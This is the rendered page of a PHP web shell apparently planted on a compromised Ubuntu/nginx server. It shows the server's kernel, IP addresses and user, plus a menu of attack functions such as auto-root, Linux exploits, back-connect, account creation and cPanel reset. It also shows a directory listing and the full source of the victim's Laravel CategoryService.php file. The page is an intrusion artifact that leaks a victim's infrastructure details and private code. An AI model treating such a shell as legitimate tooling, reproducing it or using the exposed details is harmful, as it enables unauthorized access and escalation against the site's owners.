Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sifaris /
app /
Services /
[ HOME SHELL ]
Name
Size
Permission
Action
AddressService.php
3.88
KB
-rw-rw-r--
AdminUserService.php
1.94
KB
-rw-rw-r--
AppUserService.php
1.7
KB
-rw-rw-r--
CategoryService.php
6.28
KB
-rw-rw-r--
FiscalService.php
1.13
KB
-rw-rw-r--
OfficeService.php
888
B
-rw-rw-r--
PriorityService.php
2.01
KB
-rw-rw-r--
SifarisFormService.php
994
B
-rw-rw-r--
SifarisRecordService.php
6.4
KB
-rw-rw-r--
StatusService.php
1.93
KB
-rw-rw-r--
YojanaBaseInterface.php
1.59
KB
-rw-rw-r--
YojanaBaseService.php
12.57
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CategoryService.php
<?php namespace App\Services; use App\Models\Category; use App\Models\CategoryDetail; use App\Services\YojanaBaseInterface; use App\Services\YojanaBaseService; use Exception; use DB; use Illuminate\Support\Collection; class CategoryService extends YojanaBaseService implements YojanaBaseInterface { protected $model; public function __construct(Category $model) { parent::__construct($model); $this->model = $model; } public function list(array $filter): array { $query = $this->model; if (array_key_exists('type_id', $filter)) { $query = $query->where('type_id', $filter['type_id']); } $query = $query->orderBy('seq')->orderBy('id'); $records = $query->with('details')->paginate(maxInt()); // foreach ($records as $item) { // foreach ($item->details as $detail) { // $this->appendName($item, $detail); // } // } return $records->items(); } public function listKeyVal(array $filter) { $query = $this->model; if (array_key_exists('type_id', $filter)) { $query = $query->where('type_id', $filter['type_id']); } $query = $query->orderBy('parent_id', 'desc'); $records = $query->with(['details' => function ($q) { $q->where('language_id', defaultLanguageId()); }])->paginate(maxInt()); foreach ($records as $item) { foreach ($item->details as $detail) { $this->appendName($item, $detail); } } // dd($records->items()); $arr = []; foreach ($records->items() as $item) { if (count($item->details)) { $arr[] = [ 'id' => $item->id, 'name' => $item->details[0]->nested_name ]; } } // dd(collect($arr)); return create_collection($arr); } private function appendName($category, $detail, $step = 0) { info('$step: ' . $step); if ($category->parent) { if ($step == 0) { $parent_detail = $category->parent->details->where('language_id', $detail->language_id)->first(); $detail->nested_name = $parent_detail->name . ' > ' . $detail->name; } else { $parent_detail = $category->parent->details->where('language_id', $detail->language_id)->first(); $detail->nested_name = $parent_detail->name . ' > ' . $detail->nested_name; } $category = $category->parent; if ($category->parent) { $this->appendName($category, $detail, ++$step); } } else { $detail->nested_name = $detail->name; } } public function add(array $data) { DB::beginTransaction(); try { $category_data = array_only($data, ['type_id', 'code','seq', 'parent_id', 'is_active']); $category_data['created_by'] = adminUserId(); // info($category_data); $category = Category::create($category_data); $details = []; foreach ($data['language_items'] as $item) { $details[] = [ 'name' => $item['category_name'], 'language_id' => $item['language_id'], 'category_id' => $category->id, 'created_by' => adminUserId() ]; } $category = CategoryDetail::insert($details); DB::commit(); return $category; } catch (\Throwable $th) { DB::rollback(); throw new Exception($th); } } public function update_category($category_id, array $data): void { $admin_user_id = adminUserId(); DB::beginTransaction(); try { $category_data = array_only($data, ['code','seq', 'parent_id', 'is_active']); $category_data['updated_by'] = $admin_user_id; $category = Category::find($category_id); $category->fill($category_data)->save(); foreach ($data['language_items'] as $item) { $detail = CategoryDetail::where(['language_id' => $item['language_id'], 'category_id' => $category_id])->first(); if ($detail) { $detail->fill([ 'name' => $item['category_name'], 'updated_by' => $admin_user_id ])->save(); } else { CategoryDetail::create([ 'name' => $item['category_name'], 'language_id' => $item['language_id'], 'category_id' => $category->id, 'created_by' => $admin_user_id ]); } } DB::commit(); } catch (\Throwable $th) { DB::rollback(); throw new Exception($th); } } public function delete_category($category_id) { DB::beginTransaction(); try { $category = Category::with(['details'])->find($category_id); if ($category->details()) { $category->details()->delete(); $category->delete(); } DB::commit(); } catch (\Illuminate\Database\QueryException $e) { DB::rollback(); if ($e->getCode() == 23000) { //SQLSTATE[23000]: Integrity constraint violation throw new Exception('This record cannot be deleted as it has been referenced by other records.'); } } catch (\Throwable $th) { DB::rollback(); throw new Exception($th); } } public function get_category_sub_category_text($sub_category_id) { $item = $this->model->with(['parent'])->find($sub_category_id); if (!$item) return ''; $sub_category = $item->details[0]->name; $category = $item->parent->details[0]->name; return $category . ' -> ' . $sub_category; } public function getName($category_id) { $item = $this->model->with('details')->find($category_id); return ($item && count($item->details)) ? $item->details[0]->name : ''; } }
Close